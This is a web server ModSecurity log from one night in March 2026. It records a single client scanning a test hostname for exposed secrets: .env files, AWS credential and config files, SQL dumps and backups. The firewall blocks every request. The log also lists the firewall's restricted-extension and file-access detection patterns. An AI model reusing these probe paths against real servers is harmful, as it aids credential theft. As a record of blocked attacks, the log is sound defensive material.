[Sun Mar 22 01:06:30.118475 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db.sql&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFtQAAAAg&quot;]
[Sun Mar 22 01:06:30.118859 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db.sql&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFtQAAAAg&quot;]
[Sun Mar 22 01:06:30.118990 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db.sql&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFtQAAAAg&quot;]
[Sun Mar 22 01:06:30.140979 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db_dump.sql&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFtgAAAAg&quot;]
[Sun Mar 22 01:06:30.141370 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db_dump.sql&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFtgAAAAg&quot;]
[Sun Mar 22 01:06:30.141510 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db_dump.sql&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFtgAAAAg&quot;]
[Sun Mar 22 01:06:30.163467 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/error.log&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFtwAAAAg&quot;]
[Sun Mar 22 01:06:30.163852 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/error.log&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFtwAAAAg&quot;]
[Sun Mar 22 01:06:30.163985 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/error.log&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFtwAAAAg&quot;]
[Sun Mar 22 01:06:30.321216 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vault/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFvgAAAAg&quot;]
[Sun Mar 22 01:06:30.321406 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFvgAAAAg&quot;]
[Sun Mar 22 01:06:30.321528 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFvgAAAAg&quot;]
[Sun Mar 22 01:06:30.366269 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /vendor/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/config&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFwAAAAAg&quot;]
[Sun Mar 22 01:06:30.366491 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/config&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFwAAAAAg&quot;]
[Sun Mar 22 01:06:30.366611 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/config&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFwAAAAAg&quot;]
[Sun Mar 22 01:06:30.388679 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /vendor/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/credentials&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFwQAAAAg&quot;]
[Sun Mar 22 01:06:30.388873 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/credentials&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFwQAAAAg&quot;]
[Sun Mar 22 01:06:30.388998 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/credentials&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFwQAAAAg&quot;]
[Sun Mar 22 01:06:30.456261 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFxAAAAAg&quot;]
[Sun Mar 22 01:06:30.456470 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFxAAAAAg&quot;]
[Sun Mar 22 01:06:30.456609 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFxAAAAAg&quot;]
[Sun Mar 22 01:06:30.478812 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/aws/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/aws/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFxQAAAAg&quot;]
[Sun Mar 22 01:06:30.479022 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/aws/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFxQAAAAg&quot;]
[Sun Mar 22 01:06:30.479148 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/aws/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFxQAAAAg&quot;]
[Sun Mar 22 01:06:30.615102 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFywAAAAg&quot;]
[Sun Mar 22 01:06:30.615299 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFywAAAAg&quot;]
[Sun Mar 22 01:06:30.615422 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFywAAAAg&quot;]
[Sun Mar 22 01:06:30.637254 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.bak&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzAAAAAg&quot;]
[Sun Mar 22 01:06:30.637493 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.bak&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzAAAAAg&quot;]
[Sun Mar 22 01:06:30.637675 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.bak&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFzAAAAAg&quot;]
